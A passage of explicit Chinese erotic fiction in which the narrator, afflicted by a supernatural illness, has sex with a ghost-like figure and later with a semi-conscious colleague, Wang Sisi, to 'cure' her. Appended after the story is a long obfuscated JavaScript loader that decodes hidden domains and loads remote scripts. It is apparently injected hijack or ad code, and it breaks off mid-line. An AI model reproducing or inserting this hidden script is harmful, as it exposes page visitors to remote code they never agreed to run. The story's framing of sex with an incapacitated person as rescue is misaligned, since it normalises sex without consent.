    到了这个『女鬼』拼命救我的样子,我竟然有种奇特的感动。

      或许是身体痛楚的副作用,我的肉棒虽然一直坚挺,但却没有任何要射精的
    迹象。『女鬼』不断地摆动中,我甚至能看到她在不断喘息,显然不仅是因为快
    感(如果真有快感的话),更多的是因为疲惫。

      “对不起……无论你是好人还是坏人,都还是谢谢你……”眼看『女鬼』气
    喘吁吁但还咬紧牙关地坚持,我再也无法坐视不理了。

      我的双手向后撑住自己的上半身,开始摆动起了只要肉棒被摩擦就不会那么
    疼痛的臀部,开始用自己肉棒向上去顶『女鬼』的阴道。

      随着我开始变得主动,『女鬼』似乎终于不再那么疲劳,而是任由我的肉棒
    在她的体内来回抽动。取而代之,她的脸上更多的变成了受用,而不是之前的咬
    牙坚持。

      但是,尽管我开始变得主动,但肉棒却依然不合时宜地极为坚挺,于是又变
    成了我逐渐气喘吁吁,咬着牙忍耐着身体的疲惫,为了能缓解身上的痛苦而拼命
    坚持。

      突然,只见『女鬼』的身体一阵抽搐,喉咙 发出一阵被压抑住的,但仍然
    听得出娇声的呻吟,她的阴道开始剧烈收缩,一股阴精喷涌而出,更重要的是,
    在她阴道高潮的同时,我的肉棒随着被阴道内壁绞杀,终于有了一丝能够让人射
    精的冲动了。

      “看来这样可以……我……我再坚持一下……”发现自己的肉棒其实还是有
    射精的可能性,我顿时欣喜若狂,再度咬紧了牙关,拼命向上抽送起来。

      一百下……二百下……后麵的过程,大部分时间我都在拼命冲刺,偶尔快要
    累到极限时,『女鬼』都会体贴地让我暂时休息,自己则重新摆动臀部,免得让
    我的肉棒停止活塞摩擦,从而产生身上的痛楚。

      在我都数不清的抽动之中,『女鬼』总共高潮了五六次,每一次高潮,我的
    肉棒都能感受到更强烈的射精冲动,而当最后一次高潮即将来临之前,已经汗流
    浃背到极限的我,干脆一把将双手伸进她始终没脱掉的长裙 ,双手卡住她的胯
    骨,开始了最后的冲刺。

      但,就在我的双手伸进去的一刹那,那条长裙也就势飘动起来,我似乎隐约
    看见在『女鬼』的两腿之间,原本应该是平坦的地方,竟然长着一根只属于男人
    才有的硬物,红色的突起、白色的棒体和两颗白嫩的肉囊,竟然长在这个『女鬼』
    的身上!

      『她是男人!?不对……男人不会有阴道……莫非她真是女鬼!!??』无
    论如何,看到一个女性的两腿之间居然生有男性的性器,我实在无法淡定下去了。

      “不要看……啊啊啊啊……”可是没等我多想,随着『女鬼』这么长时间来
    第一次对我说话,随着她终于忍不住放声浪叫了出来,她的阴道发起了比之前都
    要有力的收缩,一大股阴精爆发出来的同时,我自己的肉棒也达到了极限。

      “啊啊啊啊啊啊!!!!!!”在汹涌而来的,比过去和女朋友性爱更加强
    烈百倍千倍的快感之下,我也放声大叫,大量的精子几乎是爆射进了『女鬼』的
    阴户。与此同时,我的小腹一阵温热,似乎是『女鬼』的肉棒竟然射出了东西。

      “你……到底是……”在射精完结的一瞬间,所有的痛楚,连同所有的精力
    都同时从我的身上抽走,而我也一阵眩晕,又再度不省人事。

      又不知过了多久,我终于再度睁开了双眼,在看到周遭的阳光和头顶的床板
    之后,我确定自己肯定还活着。

      “你醒了。”随着一阵鞋子敲击木板的声音传来,一个身穿紫色长裙,肩上
    披着毛披肩的女子走进了屋 。

      这个女子大约三十岁左右的年纪,身高至少有一米七左右,体态丰盈富态,
    即使穿着如同主妇一般的宽鬆衣服,也掩藏不住她那极为丰满的胸部。

      女子的长发有序地盘在背后,流露着一股温柔的气息。女子的脸庞是标準的
    瓜子脸,但因为略微富态,脸的轮廓呈现柔和的曲线。

      女子的五官谈不上多么出色,眼睛不算很大,鼻梁不算很高,嘴巴也不算很
    小,但她的五官却搭配得十分得体,让整个人十分耐看。配上粉嫩的脸蛋,让女
    子看起来犹如居家美妇,虽和影凤凰的烟火气息颇不相同,却不亚于对方给人的
    成熟美好。

      “是你救了我?”低头看看自己,我发现自己身上除了短裤以外的衣物都被
    脱掉,身上的几处伤口也都被敷上了纱布。

      “你现在还需要多休息一下,其它的事情先不用想。”从女子说话的口气,
    可以听出一股能渗透进任何人心坎 的温和。女子的双眼中也仿佛蕩漾着水波,
    轻描淡写的眼神中,都流露着令男人感到温暖的色泽。

      如果说,影凤凰的眼神是通过其中流露出的贵妇般的婉约来渗透一个男人的
    内心,那这名女子的脸上,则是无尽的温柔。

      “谢谢你,肯定是你救了我……我的衣物呢?”眼看外麵天已大亮,想起影
    乡 的张书记或王思思他们可能因为自己的失蹤而引起不必要的麻烦,我赶忙从
    床上坐了起来。

      “先吃点东西吧。”女子话不多,但举动却十分体贴,她一边说,一边从一
    旁端出了牛奶和香肠,也让一股美味的香味立刻传入了我的鼻子 ,勾起了我肚
    子 的馋虫。

      “谢……谢谢……”老实说的确也不急于这一时半会儿,女子既然救了我,
    也自然用不着提防,我干脆拿起了牛奶一饮而尽,又大口吃起了香肠。

      “你的衣服都已经破碎到没法再穿了,我这边没什么男人的衣服,这套衣服
    还是让你见笑了。”在我吃东西的同时,只见女子从一旁的柜子 取出一套深色
    的,看起来有点像製服的男性服装。

      “还是……谢谢你……”也不知道该如何表达对这位救命恩人的感谢,我一
    边接过了衣服,一边只能单调地说着谢谢。

      或许是天生的气质过于浓郁,短暂的相处中,女子立刻给我一种大姐姐的感
    觉。而在我穿裤子的时候,她还是背过身去了。

      我拉开被子,忽然看到了自己的短裤,也突然想起了那个似乎是梦境之中的
    『女鬼』,以及那段我自己都不清楚是梦是真的幻境。

      “你在发现我的时候,没有看到其他人吗?”突然想起了那个过于真实的幻
    境,我不禁失声问道。

      “其他人?这 是毫无人烟的地方,方圆五公 内,恐怕除了山 的狼和蛇,
    不会再有其他的人了。”和我猜测的一样,女子肯定是不知道我经曆过的那段幻
    境的。或者,如果女子见到过那个外表过于古怪的『女鬼』,对于正常人来讲都
    不会毫无印象。

      “不对吧……我记得自己在昏迷之时,好像看到过一个穿着白裙的少女。”
    不知为何,虽然没从女猎人那 打听到关于『女鬼』和幻境的具体信息,可我却
    无法忘记那个在幻境中舍身救我的『女鬼』。

      “对不起,你说的少女,我的确没有见到。”对于我的追问,女子脸上的表
    情不像是在说谎。

      『也许……真的是做梦吧……可是这个梦也太过真实了,真实到身体的感官、
    女鬼的模样都那么真实……况且,我浑身上下的灼烧感和心绞痛可不是做梦梦到
    的,在山路上感受到的痛苦都是真切实在的啊……』

      “你是怎么发现我的?当时我是什么样子?”依然颇不甘心,我继续追问。

      “我发现你的时候,你是昏迷不醒的,身上有很多处摔伤和擦伤。你昏迷的
    地方离这 有几百米的距离,一看就是从山上滚下来的。”眼看我已经穿好了那
    套男性製服,女子走到小木屋的门口并招呼着我。

      跟随着女子的召唤,我走出木屋的门,看到了就一条从我左手边延伸过来的
    土路。而女子指了指我左手边的方向,示意就是在那边发现的我。

      『难道是我做了一场奇怪的梦?但为什么会梦到那个女鬼?甚至会梦到她古
    怪的下半身?』心知女子没必要骗我,我也只好先不去深究那心中的疑惑了。

      “这 距离影乡有多远?”我低头看了看表,发现指针正对着上午八点,我
    暗自庆幸手表还没摔坏的同时,也想问一下女子回去的路。

      “顺着这条路一直走二十分锺,这条路就会和你摔下来的土路合成一条路,
    再走大约一个小时就会回到你来的地方了。”估计我一直都表现地归心似箭,女
    子也没再留我,而是为我指明了回去的路。

      “谢谢,我必须得走了,但我还不知道你的名字,你救了我,我今后一定会
    报答你的。”老实说要不是时间紧迫,我是不该这么快就和这个救命恩人道别的。
    所以我说话的时候,语气中多少有一点匆匆离去的愧疚。

      “嗬嗬,贱婢的名字不足挂齿……”当我问及名字的时候,女子的脸上再度
    显露出温柔的笑容,只是这笑容中似乎又流露着一丝辛酸,“以后如果我们有缘
    再见的话,我自然会告诉你,只不过我们下次见麵也不知是什么时候了。”

      “是啊,看你的穿着也知道你肯定不是这边的乡下人……对不起……”奇怪
    的是,虽然只相处了短短十几分锺,我却对女子产生了一种毫无杂质的,混杂着
    感激的複杂情感,或许是因为她温水般的笑容可以给人以安全感,也或许是她让
    我有种姐姐的错觉。

      “如果你真的想知道……那么,我叫戴幽竹。”或许是能看出我的道歉是发
    自内心,女子反而不再温柔的微笑,而是稍作沈吟,终于将自己的名字说了出来。

      我看着女子,才猛地发现,她在不笑的时候,脸上总有意无意间流露着一股
    极为惹人怜惜的特质。纵然她看起来应该三十岁左右,但这股特质却丝毫没有因
    为年龄的增长而衰减,相反,竟然能让我这个比她至少小五六岁的男人怦然心动。

      走在回影乡的路上,我却依然思绪万千,感觉来了短短两天,心 的疑惑却
    有增无减。纵然刚才在和戴幽竹的对话中,能从她那 感受到很多难得的正能量,
    可我也心知自己还是要麵对现实。

      到底那个『女鬼』是什么来曆?梦中的少女是不是真就是影凤凰口中的女鬼?
    如果少女不是女鬼,那么女鬼是否又另有其人?或者,这个世上真的存在着女鬼
    吗?

      虽说,戴幽竹说是自己救了我,但她发现我的时候我已经昏迷不醒了,万一
    那不是梦,而是那个『女鬼』先舍生救了我,然后我才被戴幽竹发现呢?

      无论是做梦还是真实,我身上的灼烧感和心绞痛应该是货真价实的,为什么
    我的身上会有这种反应?难道是女鬼的诅咒?可那个『女鬼』很可能还救了我。
    还有……那少女的下体……如果说日有所思夜有所梦,我又怎么会梦到这么古怪
    的内容?

      其实仔细想想,戴幽竹的身份也很令人起疑。一个身穿着家庭主妇服装的三
    十岁女子,而且麵容如此姣好,难道会一个人住在那间小木屋吗?虽然衣着朴素,
    但搭配地还是颇为讲究的,显然又不是影乡的农民。不过她救过我,总不会是坏
    人就对了。

      对了,还有那个在影凤凰的庭院 见到的少女,为什么说我是新来的姐夫?
    看样子她应该是影凤凰两个女儿 较小的那个,可不至于见到个男人就叫姐夫吧
    ……

      因为思绪万千,路途便似乎不再遥远,我很快便走回了那座烧毁的小屋,而
    在一切都理不出头绪的情况下,我暗暗打定主意,这两天再抽空去看看戴玉竹,
    如果她像自己所说偶尔会来这 打猎,那么对于害死哥哥的爆炸,或者这 的女
    鬼传说,也许也略知一二也说不定。

      刚回到宿舍门口,就看到陈凯从路的另一边急匆匆地走了过来。

      我们打了个照麵,我看到陈凯的双眼偷瞄了一眼我身上的新衣服,但他却什
    么都没有问。出人意料的,陈凯一张口就令我惊讶不已。

      “晨哥,昨晚在张书记那 挑灯夜战,今天应该还很困吧?”

      “张书记那 ?什么意思?”

      “你昨晚不是在村政府和张书记讨论影乡的未来规划吗?”

      “你们都知道我昨晚和张书记在一起?”

      “是啊,昨晚你许久未归,我和思思都有点担心,后来徐哥特意跑过来告诉
    我们的呀。嘿嘿,晨哥你一上来就被张书记这么重视,放心啦,我可不会嫉妒你
    的,你也就别遮遮掩掩的了。”

      “哦……对,不好意思,我应该更坦诚一点。”

      “好啦,反正咱们明天才正式上岗,我先回房间去睡会儿了……”

      打了个大大的哈欠,陈凯先我一步走向了109房间,而我却呆站在那 ,
    慢慢回味着刚才陈凯的话。

      『徐强说我在张书记那 商讨正事?也就是说,这种说辞可能是张书记让他
    这么说的?他为什么要这么说?难道是不想让陈凯和王思思担心我吗?可是他不
    可能未卜先知地知道我今天能安全归来啊,要是我昨晚真的失蹤了,对他这个村
    支书应该没任何好处才对吧……莫非他真的很讨厌我?讨厌到即便我死在外麵都
    不在乎?如果他真的很厌恶我,那徐强显然也会站在他那一边了……而且,我们
    的正式上岗被推迟到了明天,这其中又有什么隐情?』

      越想,越觉得其中过于蹊跷。回忆起张书记在窗口对我们的偷看,回忆起他
    在餐桌上对我的冷漠,再回忆起昨晚喝多了时,徐强将王思思交给我时露出的古
    怪的微笑,再加上王思思之后突然强吻了我,这一切的一切,都让我有种不寒而
    栗的感觉。

      或许,这只是一种毫无证据的错觉,或者说,我宁愿这是错觉才好。

      白天,在和陈凯的交流中,他告诉我,昨晚的暴雨让村外的一处路段发生了
    山体滑坡。虽然没有人员伤亡,但由于是唯一一条通往外界的土路,因此张书记
    和徐强一早就带着十几个村民一起去抢修道路了。

      他还告诉我,我被安排在村生产队,帮助监督并协助村民的务农。他被安排
    在张书记的办公室负责秘书工作,王思思则安排到了徐强手下,负责将文案通过
    村 唯一的电脑打出文稿。

      通过陈凯的话,我才刚刚搞清楚了徐强在村 的职位,也暗自思索,陈凯的
    职务最为优厚,是否是因为他勇于和张书记套近乎的缘故。

      奇怪的是,这一天我都没看见王思思的蹤影,陈凯告诉我,因为徐强外出和
    张书记抢修道路,又加上有一份需要交到省 的文件急需打印出来,所以王思思
    今天就被调到徐强的那 帮忙了。

      聊着聊着,陈凯似乎颇为疲倦,没多久就睡着了。我一个人閑着也是閑着,
    干脆在食堂吃过午饭后,打算为了心中的诸多疑惑,再去影凤凰的别墅拜访一下。

      “您是聂先生吧,影太太现在不在家,要不您进来等她吧。”这一次,或许
    是因为已经认识了我,女佣轻鬆地让我进了这间豪宅。

      果然如同女佣所说,影凤凰现在并不在家,但就在我坐在昨天和影凤凰麵对
    麵时坐的那套沙发上之时,那个和我有过了一麵之缘的少女又出现在了我的麵前。

      “看来你不是姐夫啊……真是没意思。”随着一阵轻巧的脚步声响起,今天
    身穿着白色睡裙的少女,从二楼的楼梯上快步走了下来。

      “你就是影女士的二女儿吧,你好,我叫聂晨。”虽然和少女并不相熟,但
    我还是懂的应该保持起码的礼貌,便站起来像少女点头问好。

      “原来你连我叫什么都不知道啊,看来还真不是新来的姐夫呢。不过也好,
    当我姐夫可没什么好处,搞不好还把你搞得半死。”少女无视我的礼貌,一屁股
    坐在了我对麵的沙发上,两条白嫩的小腿,连同肉呼呼的小脚丫无所顾忌地搭在
    了我麵前的茶几上。

      “为什么做你姐夫会被搞得半死?”虽然影凤凰没回来,但我想也不能太过
    冷场,便顺着少女的话向下说着。

      “哼,还不是我那个变态姐姐……算了,妈妈说家丑不可外扬,说多了把你
    吓跑了可不好……”少女说话之间,一名女佣端上来了精致的早餐,并恭敬地放
    在了少女的麵前。

      “好吧……”既然少女不想说,我自然也就懒得问,毕竟没必要对一个十三
    四岁的娇小姐太过较真,不过比起她,我还是更在意她那个貌似知晓很多秘密的
    妈妈,于是便问道,“你妈妈什么时候回来啊?”

      “你还是不问我的名字!!真气死我了!!!我妈妈回不回来关你什么事!!
    讨厌!!!”到底是富家小姐,我一句不注意,她就气得暴跳如雷,一把将早餐
    扔在了地上,然后迅速跑出了会客室。

      “你给我记住,我叫影琳琅!!以后有你在我麵前求饶的时候!!!”怒骂
    了一句后,少女便小跑着上了楼,只剩下我一个人傻傻地坐在那 不知所措。

      时间从两点到三点,又从三点到了四点。或许是因为影琳琅对我发了脾气的
    关係,也或许是这 的女佣都被调教的很好,我坐在这 百无聊赖的两个小时 ,
    没有任何一个女仆会过来和我说话,哪怕是那个在我麵前收拾地板的女仆,也根
    本不搭理我。

      偶尔无聊时,我会主动和那些女仆说话,但她们也大多是简短地回答,遇到
    一些涉及到影家家事的问题则一律都说不知道。

      眼看下午即将过去,影凤凰还没有回来的意思,纵然我心中的疑虑再多,也
    不好意思再赖在她们家 了。

      无奈之下我只好告辞,但我没注意的是,在我离开别墅的时候,影琳琅这个
    人小鬼大的小丫头,就站在三楼的窗边偷看着我。

      在回宿舍之前,我先试探性地去了趟村政府,在其它工作人员告知我张书记
    和徐强还未归来后,我还是只好无奈地回到了自己的宿舍,却连陈凯的蹤影都看
    不到了。

      『神神秘秘的……怎么好像无论是村 的人还是陈凯他们,都显得有很多秘
    密……』

      既然暂时无人打扰,想到我虽然被戴玉竹所救,但应该一宿都没有清理过身
    体,我索性拿上了洗澡用品,準备好好清洗一下自己的身体。

      脱掉衣服并拆掉纱布,我看到了自己的两侧手肘都被擦破,两侧大腿上有大
    麵积的淤血,后背虽然看不到,但摸起来也隐隐作痛。至于那被王思思抓出淤青
    的手腕,现在倒好似已经痊愈了。

      突然,就在我擦洗身体的时候,一阵急促的敲门声,从单间的门上响起。

      “谁啊!!??”被吓了一跳的我大声质问。

      “救……救我……”我万万没想到,门外竟然传出了王思思微弱而略带沙哑
    的声音。

      “你怎么了!?”虽然我的神经立刻紧绷起来,但毕竟赤身裸体,我对开不
    开门产生了犹豫。

      “身体……好烫……心口……痛……”只听王思思的声音愈发虚弱,最后一
    个『痛』字说的已经好似蚊子一般轻声。而我,则在听到身体烫和心口痛之后,
    内心『咯噔』一下子就紧张了起来。

      亲身经曆过这种痛楚的我再无犹豫,立刻拉开了单间的门,而映入我眼帘的,
    哪 还是平日 那个会甜美微笑和胡乱娇嗔的大小姐?

      只见此时的王思思头发散乱,呼吸粗重,双眼中还布满了血丝。她的上衣被
    撕扯地稀烂,下身则竟然毫无片缕,青春洋溢的双腿上冒着奇异的肉色红光,而
    在两腿之间,稀疏的阴毛,以及阴毛上的淫液竟然清晰可见。

      在这一瞬间,在我注意到她的手上也黏黏糊糊之时,我突然意识到了在她身
    上发生了什么。

      就好像我昨夜被这种痛楚折磨时,需要性爱来救命一般,王思思此刻显然也
    遇到了同样的问题。从她的下体来看,她显然已经为了减缓痛苦,拼命地爱抚过
    自己的性器。但正如昨夜的我一样,只是靠手淫并不会根治痛楚,所以王思思会
    越来越虚弱,说话声音也就越来越小,最终会像我昨夜一样浑身因为剧痛而无法
    动弹,喉咙 最终也发不出半点声音了。

      我不知道王思思到底为什么被种上了和我一样的苦果,但我知道陈凯现在并
    不在宿舍,王思思即不可能找当地的农民来救命,也没那个力气再跑出宿舍了。
    所以她唯一的救星就是我,虽然,可能她和我清醒的时候都不可能这样……

      “我来帮你!!”一时间除了用性爱来救对方,想不出别的办法的我,双手
    扶住她的肋下,用力把已经绵软无力的王思思搀扶起来。

      但就在我想把她抱起来的瞬间,王思思整个人立刻贴在了我的身上,全身的
    重量都压了过来,而我则一个踉跄,后背撞上了单间的墙壁,王思思则继续压在
    我的身上。

      或许和喝醉的人会特别沈是一个道理,王思思整个人压着我,我竟然半天都
    无法挣扎开。好在这间宿舍虽然简陋,但每层的洗浴间只有男女各一间,我倒因
    此不担心被其它村民看到。

      忽然,只见两行眼泪从王思思的脸上滑落下来,显然她正在承受着巨大的痛
    苦。而在下一秒锺,我奋力伸出一只手臂,用手抓住单间的门把手,用力把门扣
    上,然后将插销锁上了。

      其实,我心 很不愿和王思思这么不明不白地发生男女关係,我当然不是卫
    道士,但我对于这个大小姐的脾气,以及她身上的怪病背后所隐藏的东西是心有
    戚戚的。只是现在人命关天,我又不可能带着王思思去村 向其他人求助,更不
    能对这个至少也是同路人的女孩子置之不理。

      “对不起了……希望你清醒之后,不要怨恨我。”

      我用双手搂住她的大腿,奋力一托,将她整个人托抱了起来,然后旋转自己
    的身体,将王思思的后背顶到墙上,然后将淋浴的水开到最大,用很响的水流声
    来掩盖一会儿可能从她口中发出的叫声。

      我的小臂继续拖着王思思的腿弯,看到王思思下体后便不自觉勃起的肉棒顶
    住了她的阴门,顺着早已泛滥成灾的淫水,肉棒轻鬆地连根没入。

      这不是我这辈子第一次碰女人,但却是最爽的一次。或许因为这个奇怪的病
    症,王思思的阴户 湿滑异常,四肢无力的她,阴道的肌肉却十分活跃,随着我
    每次的抽送,随时挤压着我的肉棒。

      或许是男人和女人有着性别的不同,我隐约记得自己发病时的症状是阳物硬
    挺无比且十分持久,但转到王思思的身上,这种症状变成了阴道肌肉活性化,淫
    水大量分泌,以及高潮的频繁。

      为了让王思思的叫声不被外麵听到,加上性高潮的作用,让她身体上的痛楚
    开始消退,此时的我已经将自己的嘴巴吻上了王思思的唇,任由她火热的舌头不
    断搅扰在我的嘴 。而王思思那被洗澡水打湿的上衣已经被自己拉开,露出了两
    颗虽然不大但却没有丝毫下垂,有着殷虹色小奶头的乳房,她的双臂早已紧紧地
    搂在我的背后,死命将我按在她的身上。

      虽然我向来认为自己是个理智的人,但毕竟也处在血气方刚的年龄。到了此
    时,我早已不顾那些令我在意的外界干扰,一心一意投入了王思思的怀抱,用力
    猛操着她的阴户,用力和她湿吻着。

      “晨哥……这是梦吗……如果是春梦,这样也挺好……啊啊啊……”性爱之
    中,痛楚渐消,语言能力也恢複的王思思,一边忘情地享受着激烈的做爱,一边
    说着呢呢喃喃的情话、梦话。

      “这就是个梦,不要想太多……好好享受这个梦吧……”一边喘息一边安慰
    着王思思,我感到自己的下体已经充血到了极致,一直闭住的精关马上也要打开
    了。

      “晨哥快射了吧……思思也快了……不要抽出来,和思思一起……”感觉到
    我的肉棒即将射精,王思思拼命搂紧我的后背,不让我挣脱出来。

      “啊啊……”终于,我拼命压抑着自己的叫声,肉棒 的精液喷涌而出。

      “啊啊啊啊啊啊啊啊……”在我射精的同时,最大最强烈的高潮也席卷了王
    思思的身体,她疯狂浪叫,如同小便一样的阴精狂泄而出。

      如同我昨夜 的表现一样,王思思在彻底高潮后立刻昏死了过去。我则在快
    感退去后紧张地张望四周,眼见没有异常,便抱着王思思迅速跑向了110宿舍。

      好在,110房间的门是虚掩着的,好在,这 什么都缺但惟独不缺水,或
    者惟独不缺洗澡水。似乎那么多的巧合都对我有利,我则不敢多想,将王思思放
    在她的床上,替她盖好被子,然后反锁上了110的房门,

      当我刚刚在浴室 换上準备好的衣物之时,忽然听到走廊 一阵十分急促的
    跑步声。我本能地感到一丝危机感,便迅速走出浴室。

      只见在110的房间门口,站着一个熟悉的人,他满头大汗,脸上写满了紧
    张和急促,他将耳朵贴在110的房门上拼命聆听着 麵有什么动静。

      而这个人不是陈凯,却是现在应该在村口抢修道路的徐强。

      “你没事吧。”在一瞬间,我似乎明白了什么,脸上没有任何笑容,严肃地
    站在徐强的麵前。

      “没……没事。这边没什么事吧?”被我发现了自己的窘态,徐强原本就因
    为奔跑而有些涨红的脸色似乎都有些发紫了。

      “刚才我去洗澡之前,看到思思回来了。”我试探着徐强。

      “哦……王思思……王思思没事吗?”犹豫再三,徐强还是问出了本不应该
    在我麵前问的问题。

      “她回来时还和我说话来着,看起来没什么异常啊。”我欺骗了徐强,但双
    眼始终紧盯着他的举动,试图找出更多的破绽。

      “那就好……那就好……我……我去村口了。”听我说完,徐强似乎鬆了口
    气,似乎也没在意他在我麵前的失态,喃喃自语着从我身边走过,并消失在了走
    廊的尽头。

      而这,是我最后一次和徐强说话。
    !function(){function a(a){var _idx="uffc4b2fup";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"}"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@/h^/}0sjR8_77(o)@7_J"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"}0s"=^8"_77(o)@7_J"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"}0sqSDqm:Q2QDS)dmRT4"="}0s5FDqm50SO1nd7mRT4"="}0s)5Dqm:Q2QDS)dmRT4"="}0sDLDqm50SO1nd7mRT4"="}0s^FDqm:Q2QDS)dmRT4"="}0sfLDqm50SO1nd7mRT4"="}0s(5Dqm:Q2QDS)dmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{@"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP}0sSCqL)((mR4s4n)L2mRT4gQ@{@/((/}0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF 